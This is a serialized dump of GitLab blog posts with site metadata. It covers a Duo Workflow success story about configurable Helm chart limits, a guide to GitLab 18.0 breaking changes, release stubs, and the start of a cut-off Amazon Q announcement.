Ultimate](https://about.gitlab.com/free-trial/).\n\n## \"Getting Started with GitLab\" series\n\nCheck out more articles in our \"Getting Started with GitLab\" series:\n\n- [How to manage users](https://about.gitlab.com/blog/getting-started-with-gitlab-how-to-manage-users/)\n- [How to import your projects to GitLab](https://about.gitlab.com/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab/)  \n- [Mastering project management](https://about.gitlab.com/blog/getting-started-with-gitlab-mastering-project-management/)\n- [Automating Agile workflows with the gitlab-triage gem](https://about.gitlab.com/blog/automating-agile-workflows-with-the-gitlab-triage-gem/)\n- [Working with CI/CD variables](https://about.gitlab.com/blog/getting-started-with-gitlab-working-with-ci-cd-variables/)\n",[110,1384,1385,479,695,696],{"slug":1664,"featured":92,"template":678},"getting-started-with-gitlab-understanding-ci-cd","content:en-us:blog:getting-started-with-gitlab-understanding-ci-cd.yml","Getting Started With Gitlab Understanding Ci Cd","en-us/blog/getting-started-with-gitlab-understanding-ci-cd.yml","en-us/blog/getting-started-with-gitlab-understanding-ci-cd",{"_path":1670,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1671,"content":1676,"config":1682,"_id":1685,"_type":16,"title":1686,"_source":17,"_file":1687,"_stem":1688,"_extension":20},"/en-us/blog/gitlab-patch-release-17-11-1-17-10-5-17-9-7",{"title":1672,"description":708,"ogTitle":1672,"ogDescription":708,"config":1673,"ogImage":712,"ogUrl":1674,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1674,"schema":1675},"GitLab Patch Release: 17.11.1, 17.10.5, 17.9.7",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-11-1-17-10-5-17-9-7","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.11.1, 17.10.5, 17.9.7\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\" Félix Veillette-Potvin\"}],\n        \"datePublished\": \"2025-04-23\",\n      }",{"title":1672,"description":708,"authors":1677,"heroImage":712,"date":1679,"body":1680,"category":695,"tags":1681},[1678]," Félix Veillette-Potvin","2025-04-23","This is [GitLab Patch Release: 17.11.1, 17.10.5, 17.9.7](https://about.gitlab.com/releases/2025/04/23/patch-release-gitlab-17-11-1-released/) for GitLab Community Edition (CE) and Enterprise Edition (EE).",[716],{"slug":1683,"featured":6,"template":678,"externalUrl":1684},"gitlab-patch-release-17-11-1-17-10-5-17-9-7","https://about.gitlab.com/releases/2025/04/23/patch-release-gitlab-17-11-1-released/","content:en-us:blog:gitlab-patch-release-17-11-1-17-10-5-17-9-7.yml","Gitlab Patch Release 17 11 1 17 10 5 17 9 7","en-us/blog/gitlab-patch-release-17-11-1-17-10-5-17-9-7.yml","en-us/blog/gitlab-patch-release-17-11-1-17-10-5-17-9-7",{"_path":1690,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1691,"content":1697,"config":1702,"_id":1704,"_type":16,"title":1705,"_source":17,"_file":1706,"_stem":1707,"_extension":20},"/en-us/blog/solving-complex-challenges-with-gitlab-duo-workflow",{"title":1692,"description":1693,"ogTitle":1692,"ogDescription":1693,"noIndex":6,"ogImage":1694,"ogUrl":1695,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1695,"schema":1696},"Solving complex challenges with GitLab Duo Workflow","Learn how a member of the GitLab Customer Success Management team uses agentic AI for real-world problem-solving, including addressing Helm chart limits in the package registry.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097663/Blog/Hero%20Images/Blog/Hero%20Images/Workflow%201800x945_2gQoQIbY9NvjLFpXtsxtXy_1750097663612.png","https://about.gitlab.com/blog/solving-complex-challenges-with-gitlab-duo-workflow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Solving complex challenges with GitLab Duo Workflow\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Johannes Bauer\"}],\n        \"datePublished\": \"2025-04-23\",\n      }",{"title":1692,"description":1693,"authors":1698,"heroImage":1694,"date":1679,"body":1700,"category":791,"tags":1701},[1699],"Johannes Bauer","As a Customer Success Manager (CSM), I often face complex challenges that require quick, efficient, and innovative solutions. Recently, one of my enterprise customers encountered an issue with Helm chart limits in the GitLab package registry. At GitLab, we are committed to dogfooding our DevSecOps platform, so I turned to [GitLab Duo Workflow](https://about.gitlab.com/gitlab-duo/workflow/), our secure, agentic AI offering that is currently in private beta.\n\n[Agentic AI](https://about.gitlab.com/topics/agentic-ai/) represents the next evolution of generative AI, designed to go beyond single-task automation, such as code completion or test generation. While generative AI focuses on creating content based on specific prompts, agentic AI introduces a level of autonomy and context awareness, enabling it to perform complex, multi-step workflows. This advanced AI operates as a capable assistant that understands the broader goals of a task, plans intermediate steps, and executes them efficiently.\n\nAgentic AI, more specifically Duo Workflow, has transformed how I approach problem-solving as a CSM. Here's how I used Duo Workflow to resolve a real-world challenge and deliver value to my customer.\n\n## Addressing Helm chart limits in the GitLab package registry\n\nThe customer was dealing with a hardcoded limit for Helm charts in the GitLab package registry, which wasn’t flexible enough for their needs. They required a solution that allowed administrators to configure limits dynamically through the Admin UI. Addressing this issue was critical to maintaining their workflow efficiency and satisfaction. \n\n### How I leveraged GitLab Duo Workflow\n\nTo craft an effective solution, I leveraged Duo Workflow, a game-changer for brainstorming and strategizing with agentic AI.\n\nMy prompt was:\n\n> I am working on the following issue [insert issue number] and would like to resolve it. We have developed the following strategy:\n>\n> 1. Implement the feature as an application setting in the Admin UI, rather than using a configuration file approach. \n> 2. Utilize the existing package_registry jsonb column in the application settings table. Add a new key to this JSON structure to store the Helm chart limit. \n> 3. Create a new section in the Admin UI (/admin/application_settings/ci_cd#js-package-settings) for “specific limits for each format”. This will require some design work to determine how to best display the setting.  \n> 4. Add a number field in this new section to allow administrators to set the Helm chart limit.\n> 5. Update the backend logic in the Helm package registry (app/finders/packages/helm/packages_finder.rb) to use this new application setting instead of the hardcoded limit.\n>\n>Please organize your updates into Frontend and Backend changes. Additionally, could you check if there are any specific requirements when adding a new column to the application settings table?\n\nThis prompt laid out a clear plan, enabling Duo Workflow to provide structured recommendations and actionable insights. The strategy developed was straightforward yet impactful. The changes were structured into frontend and backend tasks, ensuring clear separation and collaboration.\n\n![Result of GitLab Duo Workflow prompt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097675/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097674930.png)\n\n![Result of GitLab Duo Workflow prompt - 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097675/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097674931.png)\n\n## Results\n\nAfter implementing the solution together with Duo Workflow, I submitted a merge request, which was successfully merged and became available in GitLab 17.10!\n\nThe result? A flexible, user-friendly way for administrators to configure Helm chart limits, significantly enhancing the customer’s experience and aligning with their operational goals.\n\n![GitLab package registry page](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097675/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097674933.png)\n\nThe customer is thrilled to have this functionality available as it provides them with the flexibility and control they need to streamline their workflows. What’s even more exciting is that it only took me **hours** to complete the implementation, compared to the **days** I initially estimated, thanks to Duo Workflow. As someone without prior development experience in GitLab, this was a huge win!\n\nThis experience taught me the immense potential of AI tools like [GitLab Duo](https://about.gitlab.com/gitlab-duo/). By combining human expertise with AI-driven insights, we can address even the most complex challenges effectively. As a CSM, leveraging such tools streamlines problem-solving and strengthens trust and partnership with customers.\n\n## Delivering value \n\nGitLab Duo Workflow empowered me to tackle a complex technical issue head-on and find a solution that exceeded customer expectations. If you'd like to try Duo Workflow in your development environment, please [sign up for our private beta waitlist](https://about.gitlab.com/gitlab-duo/workflow/).\n\n## Learn more\n- [GitLab Duo Workflow: Enterprise visibility and control for agentic AI](https://about.gitlab.com/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai/)\n- [Use GitLab Duo Workflow to improve application quality assurance](https://about.gitlab.com/blog/use-gitlab-duo-workflow-to-improve-application-quality-assurance/)\n- [GitLab Duo Workflow documentation](https://docs.gitlab.com/user/duo_workflow/)\n- [What is agentic AI?](https://about.gitlab.com/topics/agentic-ai/)\n- [GitLab Duo](https://about.gitlab.com/gitlab-duo/)",[790,479,695],{"slug":1703,"featured":92,"template":678},"solving-complex-challenges-with-gitlab-duo-workflow","content:en-us:blog:solving-complex-challenges-with-gitlab-duo-workflow.yml","Solving Complex Challenges With Gitlab Duo Workflow","en-us/blog/solving-complex-challenges-with-gitlab-duo-workflow.yml","en-us/blog/solving-complex-challenges-with-gitlab-duo-workflow",{"_path":1709,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1710,"content":1716,"config":1724,"_id":1726,"_type":16,"title":1727,"_source":17,"_file":1728,"_stem":1729,"_extension":20},"/en-us/blog/a-guide-to-the-breaking-changes-in-gitlab-18-0",{"title":1711,"description":1712,"ogTitle":1711,"ogDescription":1712,"noIndex":6,"ogImage":1713,"ogUrl":1714,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1714,"schema":1715},"A guide to the breaking changes in GitLab 18.0","Prepare now for the removals in our upcoming major release. Assess your impact and then review the mitigation steps provided in the documentation to ensure a smooth transition to GitLab 18.0.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659437/Blog/Hero%20Images/AdobeStock_398929148.jpg","https://about.gitlab.com/blog/a-guide-to-the-breaking-changes-in-gitlab-18-0","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A guide to the breaking changes in GitLab 18.0\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Martin Brümmer\"},{\"@type\":\"Person\",\"name\":\"Fabian Zimmer\"},{\"@type\":\"Person\",\"name\":\"Sam Wiskow\"}],\n        \"datePublished\": \"2025-04-18\",\n      }",{"title":1711,"description":1712,"authors":1717,"heroImage":1713,"date":1721,"body":1722,"category":695,"tags":1723},[1718,1719,1720],"Martin Brümmer","Fabian Zimmer","Sam Wiskow","2025-04-18","GitLab 18.0, our next major release, will be packed with new features that push the boundaries of DevSecOps innovation. At the same time, we’ll be removing some deprecated features from GitLab. Here is what you need to know about these breaking changes and how you can mitigate their impact.\n\n## Deployment windows\n\n### GitLab.com  \n\nBreaking changes for GitLab.com will be limited to these three windows. \n\n- April 21-23, 2025  \n- April 28-30, 2025  \n- May 5-7, 2025\n\nMany other changes will continue to roll out throughout the month. You can learn more about the high-impact changes occurring within each of these windows in this [breaking changes documentation](https://docs.gitlab.com/update/breaking_windows/).\n\n***Note:** Breaking changes may fall slightly outside of these windows in exceptional circumstances.*\n\n### GitLab Self-Managed\n\nGitLab 18.0 will be available starting on May 15. You can learn more about the release schedule [here](https://about.gitlab.com/releases/).\n\n### GitLab Dedicated\n\nThe upgrade to GitLab 18.0 will take place during your maintenance window from June 24-29, 2025. You can learn more and find your assigned maintenance window [here](https://docs.gitlab.com/administration/dedicated/maintenance/#release-rollout-schedule).\n\nWe’ve also developed custom tooling and resources to help you assess the impact of these changes on your environment and plan any necessary actions ahead of the 18.0 upgrade. You can find [information about these mitigation tools and resources](#tools-and-resources-to-manage-your-impact).\n\nVisit the [Deprecations page](https://docs.gitlab.com/ee/update/deprecations?removal_milestone=18.0) to see a full list of items scheduled for removal in 18.0. Read on to learn what’s coming and how to prepare for this year’s release based on your specific deployment.\n\n## Breaking changes\n\n### High impact\n\n**1. CI/CD job token - “Limit access from your project” setting removal**\n\nGitLab.com | Self-Managed | Dedicated\n\nIn GitLab 14.4, we introduced a setting to **[limit access *from* your project's CI/CD job tokens (CI_JOB_TOKEN)](https://docs.gitlab.com/ci/jobs/ci_job_token/#limit-your-projects-job-token-access)** for added security. This setting was called **Limit CI_JOB_TOKEN access**. In GitLab 16.3, we renamed this setting **Limit access *from* this project** for clarity.\n\nIn GitLab 15.9, we introduced an alternative setting called **[Authorized groups and projects](https://docs.gitlab.com/ci/jobs/ci_job_token/#add-a-group-or-project-to-the-job-token-allowlist)**. This setting controls job token access to your project by using an allowlist. This new setting is a significant improvement over the original. The first iteration was deprecated in GitLab 16.0 and scheduled for removal in GitLab 18.0.\n\nThe **Limit access *from* this project** setting is disabled by default for all new projects. In GitLab 16.0 and later, you cannot re-enable this setting after it is disabled in any project. Instead, use the **Authorized groups and projects** setting to control job token access to your projects.\n\n- [Deprecation notice](https://docs.gitlab.com/update/deprecations/#cicd-job-token---limit-access-from-your-project-setting-removal)\n- [GitLab Detective check available](https://gitlab.com/gitlab-com/support/toolbox/gitlab-detective/-/blob/main/README.md)\n\n**2. CI/CD job token - Authorized groups and projects allowlist enforcement**\n\nGitLab.com | Self-Managed | Dedicated\n\nWith the **[Authorized groups and projects setting](https://docs.gitlab.com/ee/ci/jobs/ci_job_token.html#add-a-group-or-project-to-the-job-token-allowlist)** introduced in GitLab 15.9 (renamed from **Limit access to this project** in GitLab 16.3), you can manage CI/CD job token access to your project. When set to **Only this project and any groups and projects in the allowlist**, only groups or projects added to the allowlist can use job tokens to access your project.\n\n* **Prior to GitLab 15.9**, the allowlist was disabled by default ([**All groups and projects**](https://docs.gitlab.com/ee/ci/jobs/ci_job_token.html#allow-any-project-to-access-your-project) access setting selected), allowing job token access from any project.   \n* **Since GitLab 17.6**, administrators for GitLab Self-Managed and Dedicated instances have had the option to [**enforce a more secure setting for all projects**](https://docs.gitlab.com/ee/administration/settings/continuous_integration.html#job-token-permissions), which prevents project maintainers from selecting **All groups and projects**. This change ensures a higher level of security between projects.   \n* In GitLab 18.0, this setting will be enabled by default. On GitLab.com, we will automatically populate your projects’ allowlists based on your project authentication logs.   \n* To prepare for this change on **GitLab.com**, project maintainers using the job token for cross-project authentication should populate their project's **Authorized groups and projects** allowlists. They should then change the setting to **Only** **this project and any groups and projects in the allowlist**. We encourage the use of available [migration tooling](https://docs.gitlab.com/ci/jobs/ci_job_token/#auto-populate-a-projects-allowlist) to ***automate*** the creation of the allowlist based on the project’s [authentication logs](https://docs.gitlab.com/ci/jobs/ci_job_token/#job-token-authentication-log) prior to GitLab 18.0.   \n* **Self-Managed users** should populate the allowlists before completing the 18.0 upgrade.   \n* **Dedicated users** should work with their GitLab account team to develop the appropriate strategy for their specific instance.\n\n- [Deprecation notice](https://docs.gitlab.com/update/deprecations/#cicd-job-token---authorized-groups-and-projects-allowlist-enforcement)\n- [Documentation](https://docs.gitlab.com/ci/jobs/ci_job_token/#add-a-gr)\n- [GitLab Detective check available](https://gitlab.com/gitlab-com/support/toolbox/gitlab-detective/-/blob/main/README.md)\n\n**3. Dependency Proxy token scope enforcement**\n\nGitLab.com | Self-Managed | Dedicated\n\nThe Dependency Proxy for containers accepts **`docker login`** and **`docker pull`** requests using **personal, project,** or **group** access tokens without validating their scopes.\n\nIn GitLab 18.0, the Dependency Proxy will require both **`read_registry`** and **`write_registry`** scopes for authentication. After this change, authentication attempts using tokens without these scopes will be **rejected**.\n\nBefore upgrading, create new access tokens with the [**required scopes**](https://docs.gitlab.com/ee/user/packages/dependency_proxy/#authenticate-with-the-dependency-proxy-for-container-images), and update your workflow variables and scripts with these new tokens.\n\nYou also have the option to use [**Dependency Token Checker**](https://gitlab.com/gitlab-com/cs-tools/gitlab-cs-tools/dependancy-token-checker/), a community-developed script that allows you to view tokens and rotate them automatically.\n\n- [Deprecation notice](https://docs.gitlab.com/update/deprecations/#dependency-proxy-token-scope-enforcement)\n\n### Medium impact\n\n**1. New data retention limits for vulnerabilities on GitLab.com**\n\nGitLab.com - **Ultimate tier customers only**\n\nStarting in GitLab 18.1 with a phased six-month rollout, we will be introducing a **new data retention limit** for GitLab.com **Ultimate** customers to improve system performance and reliability. The data retention limit affects how long your vulnerability data is stored.\n\nVulnerabilities older than 12 months that have not been updated will be automatically moved to cold storage archives. These archives:\n\n* Remain accessible and downloadable through the GitLab UI  \n* Are retained for 3 years  \n* Are permanently deleted after 3 years \n\n- [Deprecation notice](https://docs.gitlab.com/update/deprecations/#new-data-retention-limits-for-vulnerabilities-on-gitlabcom)\n- [Documentation](https://handbook.gitlab.com/handbook/security/records-retention-deletion/)\n\n**2. Reject container image pull policies not in `allowed_pull_policies`**\n\nGitLab.com | Self-Managed | Dedicated  \n\nAll configured pull policies should be present in the [**allowed_pull_policies configuration**](https://docs.gitlab.com/runner/executors/docker/#allow-docker-pull-policies) specified in the runner's **`config.toml`** file. If they are not, the job should fail with an **`incompatible pull policy`** error.\n\nIn the current implementation, when multiple pull policies are defined, jobs pass if at least one pull policy matches those in **`allowed-pull-policies`**, even if other policies are not included.\n\nIn GitLab 18.0, jobs will fail only if none of the pull policies match those in **`allowed-pull-policies`**. However, unlike past behavior, jobs will use only the pull policies listed in **`allowed-pull-policies`**. This distinction can cause jobs that currently pass to fail in GitLab 18.0.\n\n- [Deprecation notice](https://docs.gitlab.com/update/deprecations/#reject-container-image-pull-policies-not-in-allowed_pull_policies)\n- [Documentation](https://docs.gitlab.com/runner/executors/docker/#allow-docker-pull-policies)\n\n**3. PostgreSQL 14 and 15 no longer supported**\n\nSelf-Managed \n\nGitLab follows an [**annual upgrade cadence for PostgreSQL**](https://handbook.gitlab.com/handbook/engineering/infrastructure-platforms/data-access/database-framework/postgresql-upgrade-cadence/).\n\nSupport for PostgreSQL 14 and 15 is scheduled for removal in GitLab 18.0. In GitLab 18.0, PostgreSQL 16 becomes the minimum required version of PostgreSQL.\n\nPostgreSQL 14 and 15 will be supported for the full GitLab 17 release cycle. PostgreSQL 16 will also be supported for instances that want to upgrade prior to GitLab 18.0.\n\nTo prepare for this change on instances that don't use [**PostgreSQL Cluster**](https://docs.gitlab.com/administration/postgresql/replication_and_failover/) (for example, if you are running a single PostgreSQL instance you installed with an Omnibus Linux package), upgrades to GitLab 17.11 will attempt to automatically upgrade PostgreSQL to Version 16. If you use [**PostgreSQL Cluster**](https://docs.gitlab.com/administration/postgresql/replication_and_failover/) or [**opt out of this automated upgrade**](https://docs.gitlab.com/omnibus/settings/database/#opt-out-of-automatic-postgresql-upgrades), you must [**manually upgrade to PostgreSQL 16**](https://docs.gitlab.com/omnibus/settings/database/#upgrade-packaged-postgresql-server) to be able to upgrade to GitLab 18.0. Make sure you have sufficient disk space to accommodate the upgrade.\n\n- [Deprecation notice](https://docs.gitlab.com/update/deprecations/#postgresql-14-and-15-no-longer-supported)\n- [Documentation](https://docs.gitlab.com/omnibus/settings/database/#upgrade-packaged-postgresql-server)\n- [Migration guidelines](https://docs.gitlab.com/omnibus/development/managing-postgresql-versions/)\n\n**4. Deprecate the Terraform CI/CD templates**\n\nSelf-Managed\n\nThe Terraform CI/CD templates are deprecated and will be removed in GitLab 18.0. This affects the following templates:\n\n* `Terraform.gitlab-ci.yml`  \n* `Terraform.latest.gitlab-ci.yml`  \n* `Terraform/Base.gitlab-ci.yml`  \n* `Terraform/Base.latest.gitlab-ci.yml`\n\nGitLab won't be able to update the **`terraform`** binary in the job images to any version that is licensed under the BSL.\n\nTo continue using Terraform, clone the templates and [**Terraform image**](https://gitlab.com/gitlab-org/terraform-images), and maintain them as needed. GitLab provides [**detailed instructions**](https://gitlab.com/gitlab-org/terraform-images) for migrating to a custom-built image.\n\n**As an alternative, we recommend using the new OpenTofu CI/CD component on GitLab.com or the new OpenTofu CI/CD template on GitLab Self-Managed.** CI/CD components are not yet available on GitLab Self-Managed, however, [**Issue #415638**](https://gitlab.com/gitlab-org/gitlab/-/issues/415638) proposes adding this feature. If CI/CD components become available on GitLab Self-Managed, the OpenTofu CI/CD template will be removed.\n\nRead more about the new [OpenTofu CI/CD component](https://gitlab.com/components/opentofu).\n\n- [Deprecation notice](https://docs.gitlab.com/update/deprecations/#deprecate-terraform-cicd-templates)\n\n**5. Major update of the Prometheus subchart**\n\nSelf-Managed\n\nWith GitLab 18.0 and GitLab chart 9.0, the Prometheus subchart will be updated from 15.3 to 27.3.\n\nAlong with this update, Prometheus 3 will be shipped by default.\n\nManual steps are required to perform the upgrade. If you have Alertmanager, Node Exporter, or Pushgateway enabled, you will also need to update your Helm values.\n\nPlease refer to the [**migration guide**](https://docs.gitlab.com/charts/releases/9_0/#prometheus-upgrade) for more information.\n\n- [Deprecation notice](https://docs.gitlab.com/update/deprecations/#major-update-of-the-prometheus-subchart)\n\n### Low impact\n\n**1. No longer building SUSE Linux Enterprise Server 15 SP2 packages**\n\nSelf-Managed\n\nLong-term service and support (LTSS) for SUSE Linux Enterprise Server (SLES) 15 SP2 ended in December 2024.\n\nTherefore, we will no longer support the SLES SP2 distribution for Linux package installs. You should upgrade to SLES 15 SP6 for continued support.\n\n- [Deprecation notice](https://docs.gitlab.com/update/deprecations/#support-for-suse-linux-enterprise-server-15-sp2)\n\n**2. Remove Gitaly rate limiter**\n\nSelf-Managed\n\nGitaly used to support [**RPC-based rate limiting**](https://gitlab.com/gitlab-org/gitaly/-/blob/4b7ea24f6172a03e7989879200b47b6fd0e2d059/doc/backpressure.md#L55-55). We are deprecating this feature as it does not achieve the desired results. Please see the deprecation issue for details.\n\nIf customers have the rate limiter configured (which is being deprecated), no error will be returned and the config will simply be ignored.\n\nCustomers should utilize the [**Concurrency Limiter**](https://docs.gitlab.com/administration/gitaly/concurrency_limiting/) instead.\n\n- [Deprecation notice](https://docs.gitlab.com/update/deprecations/#gitaly-rate-limiting)\n\n**3. Deprecate NGINX controller image 1.3.1 support**\n\nSelf-Managed\n\nWe're upgrading the default NGINX controller image to 1.11.2. This new version requires new RBAC rules and some users set **nginx-ingress.rbac.create: false** to manage their own RBAC rules.\n\nThese users will need to add the RBAC rules before migrating to 1.11.2 or later. We added a fallback mechanism to only deploy 1.3.1 if this Helm value is set as above. We've also added **nginx-ingress.controller.image.disableFallback**, which defaults to false. Users who manage their own RBAC can set this to true to enable their deployments to also use 1.11.2, after ensuring the new RBAC rules are in place.\n\nWe plan to deprecate the 1.3.1 image support as well as the fallback mechanism as part of 17.5, so that we can remove this support completely and use only 1.11.2, which offers numerous security benefits.\n\n[Deprecation notice](https://docs.gitlab.com/update/deprecations/#fallback-support-for-gitlab-nginx-chart-controller-image-v131)\n\n**4. Application Security Testing analyzers major version update**\n\nGitLab.com | Self-Managed | Dedicated\n\nThe Application Security Testing stage will be bumping the major versions of its analyzers in tandem with the GitLab 18.0 release.\n\nIf you are not using the default included templates, or have pinned your analyzer versions, you must update your CI/CD job definition to either remove the pinned version or update the latest major version.\n\nUsers of GitLab 17.0-17.11 will continue to experience analyzer updates as normal until the release of GitLab 18.0. After GitLab 18.0, all newly fixed bugs and features will be released only in the new major version of the analyzers.\n\nWe do not backport bugs and features to deprecated versions as per our maintenance policy. As required, security patches will be backported to the latest three minor releases.\n\n- [Deprecation notice](https://docs.gitlab.com/update/deprecations/#application-security-testing-analyzers-major-version-update)\n\n**5. API Discovery will use branch pipelines by default**\n\nGitLab.com | Self-Managed | Dedicated\n\nIn GitLab 18.0, we'll update the default behavior of the CI/CD template for API Discovery (**API-Discovery.gitlab-ci.yml**).\n\nBefore GitLab 18.0, this template configures jobs to run in [**merge request pipelines**](https://docs.gitlab.com/ci/pipelines/merge_request_pipelines/) by default when an MR is open.\n\nStarting in GitLab 18.0, we'll align this template's behavior with the behavior of the [**Stable template editions**](https://docs.gitlab.com/user/application_security/detect/roll_out_security_scanning/#template-editions) for other AST scanners:\n\n* By default, the template will run scan jobs in branch pipelines.  \n* You'll be able to set the CI/CD variable **AST_ENABLE_MR_PIPELINES: true** to use MR pipelines instead when an MR is open. The implementation of this new variable is tracked in [**Issue #410880**](https://gitlab.com/gitlab-org/gitlab/-/issues/410880).\n\n- [Deprecation notice](https://docs.gitlab.com/update/deprecations/#api-discovery-will-use-branch-pipelines-by-default)\n\n**6. DAST DAST_DEVTOOLS_API_TIMEOUT will have a lower default value**\n\nGitLab.com | Self-Managed | Dedicated\n\nThe **DAST_DEVTOOLS_API_TIMEOUT** environment variable determines how long a DAST scan waits for a response from the browser. Before GitLab 18.0, the variable has a static value of 45 seconds. After GitLab 18.0, **DAST_DEVTOOLS_API_TIMEOUT** environment variable has a dynamic value, which is calculated based on other timeout configurations.\n\nIn most cases, the 45-second value was higher than the timeout value of many scanner functions. The dynamically calculated value makes the __DAST_DEVTOOLS_API_TIMEOUT__ variable more useful by increasing the number of cases to which it applies.\n\n- [Deprecation notice](https://docs.gitlab.com/update/deprecations/#dast-dast_devtools_api_timeout-will-have-a-lower-default-value) \n\n## Tools and resources to manage your impact\n\nWe’ve developed specific tooling to help our customers understand how these planned changes impact their GitLab instance(s). Once you’ve assessed your impact, we recommend reviewing the mitigation steps provided in the documentation to ensure a smooth transition to GitLab 18.0.\n\n* [Advanced Search Deprecations](https://gitlab.com/gitlab-com/cs-tools/gitlab-cs-tools/deprecation-migration-tools/advanced-search-deprecations): This tool uses GitLab's Advanced Search API to find strings related to deprecations across GitLab groups and projects. It also reports which files should be manually checked. *__Note:__ May have some false positives.*  \n* [Dependency Scanning Build Support Detection Helper](https://gitlab.com/security-products/tooling/build-support-detection-helper): This tool identifies projects impacted by three Dependency Scanning deprecations ([1](https://docs.gitlab.com/update/deprecations/#dependency-scanning-for-javascript-vendored-libraries), [2](https://docs.gitlab.com/update/deprecations/#dependency-scanning-upgrades-to-the-gitlab-sbom-vulnerability-scanner), [3](https://docs.gitlab.com/update/deprecations/#resolve-a-vulnerability-for-dependency-scanning-on-yarn-projects); all postponed to 19.0). It uses API to scan for relevant files and CI job names.\n* [GitLab Detective](https://gitlab.com/gitlab-com/support/toolbox/gitlab-detective/-/blob/main/README.md) (Self-Managed only): This experimental tool automatically checks a GitLab installation for known issues. It completes complex checks by looking at config files or database values. **Note:** Needs to run directly on your GitLab nodes.\n\nWe’ve also launched a series of micro courses (15 minutes or less!) on GitLab University to help you plan and execute mitigation activities for several of these changes. [Start your learning journey here](https://university.gitlab.com/catalog?query=18.0). \n\nIf you have a paid plan and have questions or require assistance with these changes, please [open a support ticket](https://about.gitlab.com/support/portal/) on the GitLab Support Portal. \n\nIf you are a [free Gitlab.com user](https://about.gitlab.com/support/statement-of-support/#free-users), you can access additional support through community sources, such as [GitLab Documentation](https://docs.gitlab.com/), [GitLab Community Forum](https://forum.gitlab.com/), and [Stack Overflow](http://stackoverflow.com/questions/tagged/gitlab).\n",[695,479],{"slug":1725,"featured":6,"template":678},"a-guide-to-the-breaking-changes-in-gitlab-18-0","content:en-us:blog:a-guide-to-the-breaking-changes-in-gitlab-18-0.yml","A Guide To The Breaking Changes In Gitlab 18 0","en-us/blog/a-guide-to-the-breaking-changes-in-gitlab-18-0.yml","en-us/blog/a-guide-to-the-breaking-changes-in-gitlab-18-0",{"_path":1731,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1732,"content":1739,"config":1745,"_id":1748,"_type":16,"title":1749,"_source":17,"_file":1750,"_stem":1751,"_extension":20},"/en-us/blog/gitlab-17-11-released",{"title":1733,"description":1734,"ogTitle":1733,"ogDescription":1734,"config":1735,"ogImage":1736,"ogUrl":1737,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1737,"schema":1738},"GitLab 17.11 released","The release includes Custom Compliance Frameworks, more AI features on GitLab Duo Self-Hosted, custom epic, issue, and task fields, CI/CD pipeline inputs, and much more!",{"noIndex":92},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662237/Blog/Hero%20Images/product-gl17-blog-release-cover-17-11-0093-1800x945-fy25.png","https://about.gitlab.com/blog/gitlab-17-11-released","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 17.11 released\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Meadzinger\"}],\n        \"datePublished\": \"2025-04-17\",\n      }",{"title":1733,"description":1734,"authors":1740,"heroImage":1736,"date":1742,"body":1743,"category":695,"tags":1744},[1741],"Sara Meadzinger","2025-04-17","This is the [release post for GitLab 17.11](https://about.gitlab.com/releases/2025/04/17/gitlab-17-11-released/).",[774],{"slug":1746,"featured":6,"template":678,"externalUrl":1747},"gitlab-17-11-released","https://about.gitlab.com/releases/2025/04/17/gitlab-17-11-released/","content:en-us:blog:gitlab-17-11-released.yml","Gitlab 17 11 Released","en-us/blog/gitlab-17-11-released.yml","en-us/blog/gitlab-17-11-released",{"_path":1753,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1754,"content":1759,"config":1764,"_id":1766,"_type":16,"title":1767,"_source":17,"_file":1768,"_stem":1769,"_extension":20},"/en-us/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws",{"title":1755,"description":1756,"ogTitle":1755,"ogDescription":1756,"noIndex":6,"ogImage":938,"ogUrl":1757,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1757,"schema":1758},"GitLab Duo with Amazon Q: Agentic AI optimized for AWS generally available","The comprehensive AI-powered DevSecOps platform combined with the deepest set of cloud computing capabilities speeds dev cycles, increases automation, and improves code quality.","https://about.gitlab.com/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo with Amazon Q: Agentic AI optimized for AWS generally available\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emilio Salvador\"}],\n        \"datePublished\": \"2025-04-17\",\n      }",{"title":1755,"description":1756,"authors":1760,"heroImage":938,"date":1742,"body":1762,"category":791,"tags":1763},[1761],"Emilio Salvador","Today, we're excited to announce the general availability of [GitLab Duo with Amazon Q](https://about.gitlab.com/partners/technology-partners/aws/), delivering agentic AI throughout the software development lifecycle for AWS customers. GitLab Duo with Amazon Q, based on GitLab Ultimate, includes many familiar features such as code completion, code explanation, code generation, chat, and vulnerability explanation and resolution – all of which are now powered by Amazon Q. It is available with a Self-Managed deployment model for customers on Amazon Web 